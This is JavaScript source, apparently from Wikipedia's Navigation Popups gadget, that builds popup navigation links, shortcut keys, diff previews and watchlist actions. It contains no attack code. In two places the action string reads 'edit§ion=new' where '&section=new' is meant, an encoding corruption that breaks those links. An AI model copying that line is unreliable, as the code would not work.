// STARTFILE: navlinks.js
//////////////////////////////////////////////////
// navlinks... let the fun begin
//
function defaultNavlinkSpec() {
let str = '';
str += '<b><<mainlink|shortcut= >></b>';
if (getValueOf('popupLastEditLink')) {
str +=
'*<<lastEdit|shortcut=/>>|<<lastContrib>>|<<sinceMe>>if(oldid){|<<oldEdit>>|<<diffCur>>}';
}
// user links
// contribs - log - count - email - block
// count only if applicable; block only if popupAdminLinks
str += 'if(user){<br><<contribs|shortcut=c>>*<<userlog|shortcut=L|log>>';
str += 'if(ipuser){*<<arin>>}if(wikimedia){*<<count|shortcut=#>>}';
str +=
'if(ipuser){}else{*<<email|shortcut=E>>}if(admin){*<<block|shortcut=b>>|<<blocklog|log>>}}';
// editing links
// talkpage -> edit|new - history - un|watch - article|edit
// other page -> edit - history - un|watch - talk|edit|new
const editstr = '<<edit|shortcut=e>>';
const editOldidStr =
'if(oldid){<<editOld|shortcut=e>>|<<revert|shortcut=v|rv>>|<<edit|cur>>}else{' +
editstr +
'}';
const historystr = '<<history|shortcut=h>>|<<editors|shortcut=E|>>';
const watchstr = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
str +=
'<br>if(talk){' +
editOldidStr +
'|<<new|shortcut=+>>' +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<article|shortcut=a>></b>|<<editArticle|edit>>' +
'}else{' + // not a talk page
editOldidStr +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<talk|shortcut=t>></b>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>}';
// misc links
str += '<br><<whatLinksHere|shortcut=l>>*<<relatedChanges|shortcut=r>>*<<move|shortcut=m>>';
// admin links
str +=
'if(admin){<br><<unprotect|unprotectShort>>|<<protect|shortcut=p>>|<<protectlog|log>>*' +
'<<undelete|undeleteShort>>|<<delete|shortcut=d>>|<<deletelog|log>>}';
return str;
}
function navLinksHTML(article, hint, params) {
//oldid, rcid) {
const str = '<span class="popupNavLinks">' + defaultNavlinkSpec() + '</span>';
// BAM
return navlinkStringToHTML(str, article, params);
}
function expandConditionalNavlinkString(s, article, z, recursionCount) {
const oldid = z.oldid,
rcid = z.rcid,
diff = z.diff;
// nested conditionals (up to 10 deep) are ok, hopefully! (work from the inside out)
if (typeof recursionCount != typeof 0) {
recursionCount = 0;
}
const conditionalSplitRegex = RegExp(
//(1 if \\( (2 2) \\) {(3 3)} (4 else {(5 5)} 4)1)
'(;?\\s*if\\s*\\(\\s*([\\w]*)\\s*\\)\\s*\\{([^{}]*)\\}(\\s*else\\s*\\{([^{}]*?)\\}|))',
'i'
);
const splitted = s.parenSplit(conditionalSplitRegex);
// $1: whole conditional
// $2: test condition
// $3: true expansion
// $4: else clause (possibly empty)
// $5: false expansion (possibly null)
const numParens = 5;
let ret = splitted[0];
for (let i = 1; i < splitted.length; i = i + numParens + 1) {
const testString = splitted[i + 2 - 1];
const trueString = splitted[i + 3 - 1];
let falseString = splitted[i + 5 - 1];
if (typeof falseString == 'undefined' || !falseString) {
falseString = '';
}
let testResult = null;
switch (testString) {
case 'user':
testResult = !!article.userName();
break;
case 'talk':
testResult = !article.talkPage(); // talkPage converts _articles_ to talkPages
break;
case 'admin':
testResult = !!getValueOf('popupAdminLinks');
break;
case 'oldid':
testResult = !!(typeof oldid != 'undefined' && oldid);
break;
case 'rcid':
testResult = !!(typeof rcid != 'undefined' && rcid);
break;
case 'ipuser':
testResult = !!article.isIpUser();
break;
case 'mainspace_en':
testResult = isInMainNamespace(article) && pg.wiki.hostname == 'en.wikipedia.org';
break;
case 'wikimedia':
testResult = !!pg.wiki.wikimedia;
break;
case 'diff':
testResult = !!(typeof diff != 'undefined' && diff);
break;
}
switch (testResult) {
case null:
ret += splitted[i];
break;
case true:
ret += trueString;
break;
case false:
ret += falseString;
break;
}
// append non-conditional string
ret += splitted[i + numParens];
}
if (conditionalSplitRegex.test(ret) && recursionCount < 10) {
return expandConditionalNavlinkString(ret, article, z, recursionCount + 1);
}
return ret;
}
function navlinkStringToArray(s, article, params) {
s = expandConditionalNavlinkString(s, article, params);
const splitted = s.parenSplit(/<<(.*?)>>/);
const ret = [];
for (let i = 0; i < splitted.length; ++i) {
if (i % 2) {
// i odd, so s is a tag
const t = new navlinkTag();
const ss = splitted[i].split('|');
t.id = ss[0];
for (let j = 1; j < ss.length; ++j) {
const sss = ss[j].split('=');
if (sss.length > 1) {
t[sss[0]] = sss[1];
} else {
// no assignment (no "="), so treat this as a title (overwriting the last one)
t.text = popupString(sss[0]);
}
}
t.article = article;
const oldid = params.oldid,
rcid = params.rcid,
diff = params.diff;
if (typeof oldid !== 'undefined' && oldid !== null) {
t.oldid = oldid;
}
if (typeof rcid !== 'undefined' && rcid !== null) {
t.rcid = rcid;
}
if (typeof diff !== 'undefined' && diff !== null) {
t.diff = diff;
}
if (!t.text && t.id !== 'mainlink') {
t.text = popupString(t.id);
}
ret.push(t);
} else {
// plain HTML
ret.push(splitted[i]);
}
}
return ret;
}
function navlinkSubstituteHTML(s) {
return s
.split('*')
.join(getValueOf('popupNavLinkSeparator'))
.split('<menurow>')
.join('<li class="popup_menu_row">')
.split('</menurow>')
.join('</li>')
.split('<menu>')
.join('<ul class="popup_menu">')
.split('</menu>')
.join('</ul>');
}
function navlinkDepth(magic, s) {
return s.split('<' + magic + '>').length - s.split('</' + magic + '>').length;
}
// navlinkString: * becomes the separator
// <<foo|bar=baz|fubar>> becomes a foo-link with attribute bar='baz'
// and visible text 'fubar'
// if(test){...} and if(test){...}else{...} work too (nested ok)
function navlinkStringToHTML(s, article, params) {
//limitAlert(navlinkStringToHTML, 5, 'navlinkStringToHTML\n' + article + '\n' + (typeof article));
const p = navlinkStringToArray(s, article, params);
let html = '';
let menudepth = 0; // nested menus not currently allowed, but doesn't do any harm to code for it
let menurowdepth = 0;
for (let i = 0; i < p.length; ++i) {
if (typeof p[i] == typeof '') {
html += navlinkSubstituteHTML(p[i]);
menudepth += navlinkDepth('menu', p[i]);
menurowdepth += navlinkDepth('menurow', p[i]);
// if (menudepth === 0) {
// tagType='span';
// } else if (menurowdepth === 0) {
// tagType='li';
// } else {
// tagType = null;
// }
} else if (typeof p[i].type != 'undefined' && p[i].type == 'navlinkTag') {
if (menudepth > 0 && menurowdepth === 0) {
html += '<li class="popup_menu_item">' + p[i].html() + '</li>';
} else {
html += p[i].html();
}
}
}
return html;
}
function navlinkTag() {
this.type = 'navlinkTag';
}
navlinkTag.prototype.html = function () {
this.getNewWin();
this.getPrintFunction();
let html = '';
let opening, closing;
const tagType = 'span';
if (!tagType) {
opening = '';
closing = '';
} else {
opening = '<' + tagType + ' class="popup_' + this.id + '">';
closing = '</' + tagType + '>';
}
if (typeof this.print != 'function') {
errlog('Oh dear - invalid print function for a navlinkTag, id=' + this.id);
} else {
html = this.print(this);
if (typeof html != typeof '') {
html = '';
} else if (typeof this.shortcut != 'undefined') {
html = addPopupShortcut(html, this.shortcut);
}
}
return opening + html + closing;
};
navlinkTag.prototype.getNewWin = function () {
getValueOf('popupLinksNewWindow');
if (typeof pg.option.popupLinksNewWindow[this.id] === 'undefined') {
this.newWin = null;
}
this.newWin = pg.option.popupLinksNewWindow[this.id];
};
navlinkTag.prototype.getPrintFunction = function () {
//think about this some more
// this.id and this.article should already be defined
if (typeof this.id != typeof '' || typeof this.article != typeof {}) {
return;
}
this.noPopup = 1;
switch (this.id) {
case 'contribs':
case 'history':
case 'whatLinksHere':
case 'userPage':
case 'monobook':
case 'userTalk':
case 'talk':
case 'article':
case 'lastEdit':
this.noPopup = null;
}
switch (this.id) {
case 'email':
case 'contribs':
case 'block':
case 'unblock':
case 'userlog':
case 'userSpace':
case 'deletedContribs':
this.article = this.article.userName();
}
switch (this.id) {
case 'userTalk':
case 'newUserTalk':
case 'editUserTalk':
case 'userPage':
case 'monobook':
case 'editMonobook':
case 'blocklog':
this.article = this.article.userName(true);
/* fall through */
case 'pagelog':
case 'deletelog':
case 'protectlog':
delete this.oldid;
}
if (this.id == 'editMonobook' || this.id == 'monobook') {
this.article.append('/monobook.js');
}
if (this.id != 'mainlink') {
// FIXME anchor handling should be done differently with Title object
this.article = this.article.removeAnchor();
// if (typeof this.text=='undefined') this.text=popupString(this.id);
}
switch (this.id) {
case 'undelete':
this.print = specialLink;
this.specialpage = 'Undelete';
this.sep = '/';
break;
case 'whatLinksHere':
this.print = specialLink;
this.specialpage = 'Whatlinkshere';
break;
case 'relatedChanges':
this.print = specialLink;
this.specialpage = 'Recentchangeslinked';
break;
case 'move':
this.print = specialLink;
this.specialpage = 'Movepage';
break;
case 'contribs':
this.print = specialLink;
this.specialpage = 'Contributions';
break;
case 'deletedContribs':
this.print = specialLink;
this.specialpage = 'Deletedcontributions';
break;
case 'email':
this.print = specialLink;
this.specialpage = 'EmailUser';
this.sep = '/';
break;
case 'block':
this.print = specialLink;
this.specialpage = 'Blockip';
this.sep = '&ip=';
break;
case 'unblock':
this.print = specialLink;
this.specialpage = 'Ipblocklist';
this.sep = '&action=unblock&ip=';
break;
case 'userlog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&user=';
break;
case 'blocklog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=block&page=';
break;
case 'pagelog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&page=';
break;
case 'protectlog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=protect&page=';
break;
case 'deletelog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=delete&page=';
break;
case 'userSpace':
this.print = specialLink;
this.specialpage = 'PrefixIndex';
this.sep = '&namespace=2&prefix=';
break;
case 'search':
this.print = specialLink;
this.specialpage = 'Search';
this.sep = '&fulltext=Search&search=';
break;
case 'thank':
this.print = specialLink;
this.specialpage = 'Thanks';
this.sep = '/';
this.article.value = this.diff !== 'prev' ? this.diff : this.oldid;
break;
case 'unwatch':
case 'watch':
this.print = magicWatchLink;
this.action =
this.id +
'&autowatchlist=1&autoimpl=' +
popupString('autoedit_version') +
'&actoken=' +
autoClickToken();
break;
case 'history':
case 'historyfeed':
case 'unprotect':
case 'protect':
this.print = wikiLink;
this.action = this.id;
break;
case 'delete':
this.print = wikiLink;
this.action = 'delete';
if (this.article.namespaceId() == pg.nsImageId) {
const img = this.article.stripNamespace();
this.action += '&image=' + img;
}
break;
case 'markpatrolled':
case 'edit': // editOld should keep the oldid, but edit should not.
delete this.oldid;
/* fall through */
case 'view':
case 'purge':
case 'render':
this.print = wikiLink;
this.action = this.id;
break;
case 'raw':
this.print = wikiLink;
this.action = 'raw';
break;
case 'new':
this.print = wikiLink;
this.action = 'edit§ion=new';
break;
case 'mainlink':
if (typeof this.text == 'undefined') {
this.text = this.article.toString().entify();
}
if (getValueOf('popupSimplifyMainLink') && isInStrippableNamespace(this.article)) {
// only show the /subpage part of the title text
const s = this.text.split('/');
this.text = s[s.length - 1];
if (this.text === '' && s.length > 1) {
this.text = s[s.length - 2];
}
}
this.print = titledWikiLink;
if (
typeof this.title === 'undefined' &&
pg.current.link &&
typeof pg.current.link.href !== 'undefined'
) {
this.title = safeDecodeURI(
pg.current.link.originalTitle ? pg.current.link.originalTitle : this.article
);
if (typeof this.oldid !== 'undefined' && this.oldid) {
this.title = tprintf('Revision %s of %s', [this.oldid, this.title]);
}
}
this.action = 'view';
break;
case 'userPage':
case 'article':
case 'monobook':
case 'editMonobook':
case 'editArticle':
delete this.oldid;
//alert(this.id+'\n'+this.article + '\n'+ typeof this.article);
this.article = this.article.articleFromTalkOrArticle();
//alert(this.id+'\n'+this.article + '\n'+ typeof this.article);
this.print = wikiLink;
if (this.id.indexOf('edit') === 0) {
this.action = 'edit';
} else {
this.action = 'view';
}
break;
case 'userTalk':
case 'talk':
this.article = this.article.talkPage();
delete this.oldid;
this.print = wikiLink;
this.action = 'view';
break;
case 'arin':
this.print = arinLink;
break;
case 'count':
this.print = editCounterLink;
break;
case 'google':
this.print = googleLink;
break;
case 'editors':
this.print = editorListLink;
break;
case 'globalsearch':
this.print = globalSearchLink;
break;
case 'lastEdit':
this.print = titledDiffLink;
this.title = popupString('Show the last edit');
this.from = 'prev';
this.to = 'cur';
break;
case 'oldEdit':
this.print = titledDiffLink;
this.title = popupString('Show the edit made to get revision') + ' ' + this.oldid;
this.from = 'prev';
this.to = this.oldid;
break;
case 'editOld':
this.print = wikiLink;
this.action = 'edit';
break;
case 'undo':
this.print = wikiLink;
this.action = 'edit&undo=';
break;
case 'revert':
this.print = wikiLink;
this.action = 'revert';
break;
case 'nullEdit':
this.print = wikiLink;
this.action = 'nullEdit';
break;
case 'diffCur':
this.print = titledDiffLink;
this.title = tprintf('Show changes since revision %s', [this.oldid]);
this.from = this.oldid;
this.to = 'cur';
break;
case 'editUserTalk':
case 'editTalk':
delete this.oldid;
this.article = this.article.talkPage();
this.action = 'edit';
this.print = wikiLink;
break;
case 'newUserTalk':
case 'newTalk':
this.article = this.article.talkPage();
this.action = 'edit§ion=new';
this.print = wikiLink;
break;
case 'lastContrib':
case 'sinceMe':
this.print = magicHistoryLink;
break;
case 'togglePreviews':
this.text = popupString(pg.option.simplePopups ? 'enable previews' : 'disable previews');
/* fall through */
case 'disablePopups':
case 'purgePopups':
this.print = popupMenuLink;
break;
default:
this.print = function () {
return 'Unknown navlink type: ' + String(this.id);
};
}
};
//
// end navlinks
//////////////////////////////////////////////////
// ENDFILE: navlinks.js
// STARTFILE: shortcutkeys.js
function popupHandleKeypress(evt) {
const keyCode = window.event ? window.event.keyCode : evt.keyCode ? evt.keyCode : evt.which;
if (!keyCode || !pg.current.link || !pg.current.link.navpopup) {
return;
}
if (keyCode == 27) {
// escape
killPopup();
return false; // swallow keypress
}
const letter = String.fromCharCode(keyCode);
const links = pg.current.link.navpopup.mainDiv.getElementsByTagName('A');
let startLink = 0;
let i, j;
if (popupHandleKeypress.lastPopupLinkSelected) {
for (i = 0; i < links.length; ++i) {
if (links[i] == popupHandleKeypress.lastPopupLinkSelected) {
startLink = i;
}
}
}
for (j = 0; j < links.length; ++j) {
i = (startLink + j + 1) % links.length;
if (links[i].getAttribute('popupkey') == letter) {
if (evt && evt.preventDefault) {
evt.preventDefault();
}
links[i].focus();
popupHandleKeypress.lastPopupLinkSelected = links[i];
return false; // swallow keypress
}
}
// pass keypress on
if (document.oldPopupOnkeypress) {
return document.oldPopupOnkeypress(evt);
}
return true;
}
function addPopupShortcuts() {
if (document.onkeypress != popupHandleKeypress) {
document.oldPopupOnkeypress = document.onkeypress;
}
document.onkeypress = popupHandleKeypress;
}
function rmPopupShortcuts() {
popupHandleKeypress.lastPopupLinkSelected = null;
try {
if (document.oldPopupOnkeypress && document.oldPopupOnkeypress == popupHandleKeypress) {
// panic
document.onkeypress = null; //function () {};
return;
}
document.onkeypress = document.oldPopupOnkeypress;
} catch (nasties) {
/* IE goes here */
}
}
function addLinkProperty(html, property) {
// take "<a href=...>...</a> and add a property
// not sophisticated at all, easily broken
const i = html.indexOf('>');
if (i < 0) {
return html;
}
return html.substring(0, i) + ' ' + property + html.substring(i);
}
function addPopupShortcut(html, key) {
if (!getValueOf('popupShortcutKeys')) {
return html;
}
const ret = addLinkProperty(html, 'popupkey="' + key + '"');
if (key == ' ') {
key = popupString('spacebar');
}
return ret.replace(/^(.*?)(title=")(.*?)(".*)$/i, '$1$2$3 [' + key + ']$4');
}
// ENDFILE: shortcutkeys.js
// STARTFILE: diffpreview.js
/**
* Load diff data.
*
* lets jump through hoops to find the rev ids we need to retrieve
*
* @param {Title} article
* @param {string} oldid
* @param {string} diff
* @param {Navpopup} navpop
*/
function loadDiff(article, oldid, diff, navpop) {
navpop.diffData = { oldRev: {}, newRev: {} };
mw.loader.using('mediawiki.api').then(() => {
const api = getMwApi();
const params = {
action: 'compare',
prop: 'ids|title',
};
params.fromtitle = article.toString();
switch (diff) {
case 'cur':
switch (oldid) {
case null:
case '':
case 'prev':
// this can only work if we have the title
// cur -> prev
params.torelative = 'prev';
break;
default:
params.fromrev = oldid;
params.torelative = 'cur';
break;
}
break;
case 'prev':
if (oldid && oldid !== 'cur') {
params.fromrev = oldid;
}
params.torelative = 'prev';
break;
case 'next':
params.fromrev = oldid || 0;
params.torelative = 'next';
break;
default:
params.fromrev = oldid || 0;
params.torev = diff || 0;
break;
}
api.get(params).then((data) => {
navpop.diffData.oldRev.revid = data.compare.fromrevid;
navpop.diffData.newRev.revid = data.compare.torevid;
addReviewLink(navpop, 'popupMiscTools');
const go = function () {
pendingNavpopTask(navpop);
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query&';
url += 'revids=' + navpop.diffData.oldRev.revid + '|' + navpop.diffData.newRev.revid;
url += '&prop=revisions&rvslots=main&rvprop=ids|timestamp|content';
getPageWithCaching(url, doneDiff, navpop);
return true; // remove hook once run
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'before', 'DOWNLOAD_DIFFS');
}
});
});
}
// Put a "mark patrolled" link to an element target
// TODO: Allow patrol a revision, as well as a diff
function addReviewLink(navpop, target) {
if (!pg.user.canReview) {
return;
}
// If 'newRev' is older than 'oldRev' than it could be confusing, so we do not show the review link.
if (navpop.diffData.newRev.revid <= navpop.diffData.oldRev.revid) {
return;
}
const params = {
action: 'query',
prop: 'info|flagged',
revids: navpop.diffData.oldRev.revid,
formatversion: 2,
};
getMwApi()
.get(params)
.then((data) => {
const stable_revid =
(data.query.pages[0].flagged && data.query.pages[0].flagged.stable_revid) || 0;
// The diff can be reviewed if the old version is the last reviewed version
// TODO: Other possible conditions that we may want to implement instead of this one:
// * old version is patrolled and the new version is not patrolled
// * old version is patrolled and the new version is more recent than the last reviewed version
if (stable_revid == navpop.diffData.oldRev.revid) {
const a = document.createElement('a');
a.innerHTML = popupString('mark patrolled');
a.title = popupString('markpatrolledHint');
a.onclick = function () {
const params = {
action: 'review',
revid: navpop.diffData.newRev.revid,
comment: tprintf('defaultpopupReviewedSummary', [
navpop.diffData.oldRev.revid,
navpop.diffData.newRev.revid,
]),
};
getMwApi()
.postWithToken('csrf', params)
.done(() => {
a.style.display = 'none';
// TODO: Update current page and other already constructed popups
})
.fail(() => {
alert(popupString('Could not marked this edit as patrolled'));
});
};
setPopupHTML(a, target, navpop.idNumber, null, true);
}
});
}
function doneDiff(download) {
if (!download.owner || !download.owner.diffData) {
return;
}
const navpop = download.owner;
completedNavpopTask(navpop);
let pages,
revisions = [];
try {
// Process the downloads
pages = getJsObj(download.data).query.pages;
for (var i = 0; i < pages.length; i++) {
revisions = revisions.concat(pages[i].revisions);
}
for (i = 0; i < revisions.length; i++) {
if (revisions[i].revid == navpop.diffData.oldRev.revid) {
navpop.diffData.oldRev.revision = revisions[i];
} else if (revisions[i].revid == navpop.diffData.newRev.revid) {
navpop.diffData.newRev.revision = revisions[i];
}
}
} catch (someError) {
errlog('Could not get diff');
}
insertDiff(navpop);
}
function rmBoringLines(a, b, context) {
if (typeof context == 'undefined') {
context = 2;
}
// this is fairly slow... i think it's quicker than doing a word-based diff from the off, though
const aa = [],
aaa = [];
const bb = [],
bbb = [];
let i, j;
// first, gather all disconnected nodes in a and all crossing nodes in a and b
for (i = 0; i < a.length; ++i) {
if (!a[i].paired) {
aa[i] = 1;
} else if (countCrossings(b, a, i, true)) {
aa[i] = 1;
bb[a[i].row] = 1;
}
}
// pick up remaining disconnected nodes in b
for (i = 0; i < b.length; ++i) {
if (bb[i] == 1) {
continue;
}
if (!b[i].paired) {
bb[i] = 1;
}
}
// another pass to gather context: we want the neighbours of included nodes which are not
// yet included we have to add in partners of these nodes, but we don't want to add context
// for *those* nodes in the next pass
for (i = 0; i < b.length; ++i) {
if (bb[i] == 1) {
for (j = Math.max(0, i - context); j < Math.min(b.length, i + context); ++j) {
if (!bb[j]) {
bb[j] = 1;
aa[b[j].row] = 0.5;
}
}
}
}
for (i = 0; i < a.length; ++i) {
if (aa[i] == 1) {
for (j = Math.max(0, i - context); j < Math.min(a.length, i + context); ++j) {
if (!aa[j]) {
aa[j] = 1;
bb[a[j].row] = 0.5;
}
}
}
}
for (i = 0; i < bb.length; ++i) {
if (bb[i] > 0) {
// it's a row we need
if (b[i].paired) {
bbb.push(b[i].text);
} // joined; partner should be in aa
else {
bbb.push(b[i]);
}
}
}
for (i = 0; i < aa.length; ++i) {
if (aa[i] > 0) {
// it's a row we need
if (a[i].paired) {
aaa.push(a[i].text);
} // joined; partner should be in aa
else {
aaa.push(a[i]);
}
}
}
return { a: aaa, b: bbb };
}
function stripOuterCommonLines(a, b, context) {
let i = 0;
while (i < a.length && i < b.length && a[i] == b[i]) {
++i;
}
let j = a.length - 1;
let k = b.length - 1;
while (j >= 0 && k >= 0 && a[j] == b[k]) {
--j;
--k;
}
return {
a: a.slice(Math.max(0, i - 1 - context), Math.min(a.length + 1, j + context + 1)),
b: b.slice(Math.max(0, i - 1 - context), Math.min(b.length + 1, k + context + 1)),
};
}
function insertDiff(navpop) {
// for speed reasons, we first do a line-based diff, discard stuff that seems boring, then
// do a word-based diff
// FIXME: sometimes this gives misleading diffs as distant chunks are squashed together
let oldlines = navpop.diffData.oldRev.revision.slots.main.content.split('\n');
let newlines = navpop.diffData.newRev.revision.slots.main.content.split('\n');
let inner = stripOuterCommonLines(oldlines, newlines, getValueOf('popupDiffContextLines'));
oldlines = inner.a;
newlines = inner.b;
let truncated = false;
getValueOf('popupDiffMaxLines');
if (
oldlines.length > pg.option.popupDiffMaxLines ||
newlines.length > pg.option.popupDiffMaxLines
) {
// truncate
truncated = true;
inner = stripOuterCommonLines(
oldlines.slice(0, pg.option.popupDiffMaxLines),
newlines.slice(0, pg.option.popupDiffMaxLines),
pg.option.popupDiffContextLines
);
oldlines = inner.a;
newlines = inner.b;
}
const lineDiff = diff(oldlines, newlines);
const lines2 = rmBoringLines(lineDiff.o, lineDiff.n);
const oldlines2 = lines2.a;
const newlines2 = lines2.b;
const simpleSplit = !String.prototype.parenSplit.isNative;
let html = '<hr />';
if (getValueOf('popupDiffDates')) {
html += diffDatesTable(navpop);
html += '<hr />';
}
html += shortenDiffString(
diffString(oldlines2.join('\n'), newlines2.join('\n'), simpleSplit),
getValueOf('popupDiffContextCharacters')
).join('<hr />');
setPopupTipsAndHTML(
html.split('\n').join('<br>') +
(truncated ?
'<hr /><b>' + popupString('Diff truncated for performance reasons') + '</b>' :
''),
'popupPreview',
navpop.idNumber
);
}
function diffDatesTable(navpop) {
let html = '<table class="popup_diff_dates">';
html += diffDatesTableRow(navpop.diffData.newRev.revision, tprintf('New revision'));
html += diffDatesTableRow(navpop.diffData.oldRev.revision, tprintf('Old revision'));
html += '</table>';
return html;
}
function diffDatesTableRow(revision, label) {
let txt = '';
const lastModifiedDate = new Date(revision.timestamp);
txt = formattedDateTime(lastModifiedDate);
const revlink = generalLink({
url: mw.config.get('wgScript') + '?oldid=' + revision.revid,
text: label,
title: label,
});
return simplePrintf('<tr><td>%s</td><td>%s</td></tr>', [revlink, txt]);
}
// ENDFILE: diffpreview.js
// STARTFILE: links.js
/////////////////////
// LINK GENERATION //
/////////////////////
// titledDiffLink --> titledWikiLink --> generalLink
// wikiLink --> titledWikiLink --> generalLink
// editCounterLink --> generalLink
// TODO Make these functions return Element objects, not just raw HTML strings.
function titledDiffLink(l) {
// article, text, title, from, to) {
return titledWikiLink({
article: l.article,
action: l.to + '&oldid=' + l.from,
newWin: l.newWin,
noPopup: l.noPopup,
text: l.text,
title: l.title,
/* hack: no oldid here */
actionName: 'diff',
});
}
function wikiLink(l) {
//{article:article, action:action, text:text, oldid, newid}) {
if (
!(typeof l.article == typeof {} && typeof l.action == typeof '' && typeof l.text == typeof '')
) {
return null;
}
if (typeof l.oldid == 'undefined') {
l.oldid = null;
}
const savedOldid = l.oldid;
if (!/^(edit|view|revert|render)$|^raw/.test(l.action)) {
l.oldid = null;
}
let hint = popupString(l.action + 'Hint'); // revertHint etc etc etc
const oldidData = [l.oldid, safeDecodeURI(l.article)];
let revisionString = tprintf('revision %s of %s', oldidData);
log('revisionString=' + revisionString);
switch (l.action) {
case 'edit§ion=new':
hint = popupString('newSectionHint');
break;
case 'edit&undo=':
if (l.diff && l.diff != 'prev' && savedOldid) {
l.action += l.diff + '&undoafter=' + savedOldid;
} else if (savedOldid) {
l.action += savedOldid;
}
hint = popupString('undoHint');
break;
case 'raw&ctype=text/css':
hint = popupString('rawHint');
break;
case 'revert':
var p = parseParams(pg.current.link.href);
l.action =
'edit&autoclick=wpSave&actoken=' +
autoClickToken() +
'&autoimpl=' +
popupString('autoedit_version') +
'&autosummary=' +
revertSummary(l.oldid, p.diff);
if (p.diff == 'prev') {
l.action += '&direction=prev';
revisionString = tprintf('the revision prior to revision %s of %s', oldidData);
}
if (getValueOf('popupRevertSummaryPrompt')) {
l.action += '&autosummaryprompt=true';
}
if (getValueOf('popupMinorReverts')) {
l.action += '&autominor=true';
}
log('revisionString is now ' + revisionString);
break;
case 'nullEdit':
l.action =
'edit&autoclick=wpSave&actoken=' +
autoClickToken() +
'&autoimpl=' +
popupString('autoedit_version') +
'&autosummary=null';
break;
case 'historyfeed':
l.action = 'history&feed=rss';
break;
case 'markpatrolled':
l.action = 'markpatrolled&rcid=' + l.rcid;
}
if (hint) {
if (l.oldid) {
hint = simplePrintf(hint, [revisionString]);
} else {
hint = simplePrintf(hint, [safeDecodeURI(l.article)]);
}
} else {
hint = safeDecodeURI(l.article + '&action=' + l.action) + l.oldid ? '&oldid=' + l.oldid : '';
}
return titledWikiLink({
article: l.article,
action: l.action,
text: l.text,
newWin: l.newWin,
title: hint,
oldid: l.oldid,
noPopup: l.noPopup,
onclick: l.onclick,
});
}
function revertSummary(oldid, diff) {
let ret = '';
if (diff == 'prev') {
ret = getValueOf('popupQueriedRevertToPreviousSummary');
} else {
ret = getValueOf('popupQueriedRevertSummary');
}
return ret + '&autorv=' + oldid;
}
function titledWikiLink(l) {
// possible properties of argument:
// article, action, text, title, oldid, actionName, className, noPopup
// oldid = null is fine here
// article and action are mandatory args
if (typeof l.article == 'undefined' || typeof l.action == 'undefined') {
errlog('got undefined article or action in titledWikiLink');
return null;
}
const base = pg.wiki.titlebase + l.article.urlString();
let url = base;
if (typeof l.actionName == 'undefined' || !l.actionName) {
l.actionName = 'action';
}
// no need to add &action=view, and this confuses anchors
if (l.action != 'view') {
url = base + '&' + l.actionName + '=' + l.action;
}
if (typeof l.oldid != 'undefined' && l.oldid) {
url += '&oldid=' + l.oldid;
}
let cssClass = pg.misc.defaultNavlinkClassname;
if (typeof l.className != 'undefined' && l.className) {
cssClass = l.className;
}
return generalNavLink({
url: url,
newWin: l.newWin,
title: typeof l.title != 'undefined' ? l.title : null,
text: typeof l.text != 'undefined' ? l.text : null,
className: cssClass,
noPopup: l.noPopup,
onclick: l.onclick,
});
}
pg.fn.getLastContrib = function getLastContrib(wikipage, newWin) {
getHistoryInfo(wikipage, (x) => {
processLastContribInfo(x, { page: wikipage, newWin: newWin });
});
};
function processLastContribInfo(info, stuff) {
if (!info.edits || !info.edits.length) {
alert('Popups: an odd thing happened. Please retry.');
return;
}
if (!info.firstNewEditor) {
alert(
tprintf('Only found one editor: %s made %s edits', [
info.edits[0].editor,
info.edits.length,
])
);
return;
}
const newUrl =
pg.wiki.titlebase +
new Title(stuff.page).urlString() +
'&diff=cur&oldid=' +
info.firstNewEditor.oldid;
displayUrl(newUrl, stuff.newWin);
}
pg.fn.getDiffSinceMyEdit = function getDiffSinceMyEdit(wikipage, newWin) {
getHistoryInfo(wikipage, (x) => {
processDiffSinceMyEdit(x, { page: wikipage, newWin: newWin });
});
};
function processDiffSinceMyEdit(info, stuff) {
if (!info.edits || !info.edits.length) {
alert('Popups: something fishy happened. Please try again.');
return;
}
const friendlyName = stuff.page.split('_').join(' ');
if (!info.myLastEdit) {
alert(
tprintf("Couldn't find an edit by %s\nin the last %s edits to\n%s", [
info.userName,
getValueOf('popupHistoryLimit'),
friendlyName,
])
);
return;
}
if (info.myLastEdit.index === 0) {
alert(
tprintf('%s seems to be the last editor to the page %s', [info.userName, friendlyName])
);
return;
}
const newUrl =
pg.wiki.titlebase +
new Title(stuff.page).urlString() +
'&diff=cur&oldid=' +
info.myLastEdit.oldid;
displayUrl(newUrl, stuff.newWin);
}
function displayUrl(url, newWin) {
if (newWin) {
window.open(url);
} else {
document.location = url;
}
}
pg.fn.purgePopups = function purgePopups() {
processAllPopups(true);
setupCache(); // deletes all cached items (not browser cached, though...)
pg.option = {};
abortAllDownloads();
};
function processAllPopups(nullify, banish) {
for (let i = 0; pg.current.links && i < pg.current.links.length; ++i) {
if (!pg.current.links[i].navpopup) {
continue;
}
if (nullify || banish) {
pg.current.links[i].navpopup.banish();
}
pg.current.links[i].simpleNoMore = false;
if (nullify) {
pg.current.links[i].navpopup = null;
}
}
}
pg.fn.disablePopups = function disablePopups() {
processAllPopups(false, true);
setupTooltips(null, true);
};
pg.fn.togglePreviews = function togglePreviews() {
processAllPopups(true, true);
pg.option.simplePopups = !pg.option.simplePopups;
abortAllDownloads();
};
function magicWatchLink(l) {
//Yuck!! Would require a thorough redesign to add this as a click event though ...
l.onclick = simplePrintf("pg.fn.modifyWatchlist('%s','%s');return false;", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
this.id,
]);
return wikiLink(l);
}
pg.fn.modifyWatchlist = function modifyWatchlist(title, action) {
const reqData = {
action: 'watch',
formatversion: 2,
titles: title,
uselang: mw.config.get('wgUserLanguage'),
};
if (action === 'unwatch') {
reqData.unwatch = true;
}
// Load the Addedwatchtext or Removedwatchtext message and show it
const mwTitle = mw.Title.newFromText(title);
let messageName;
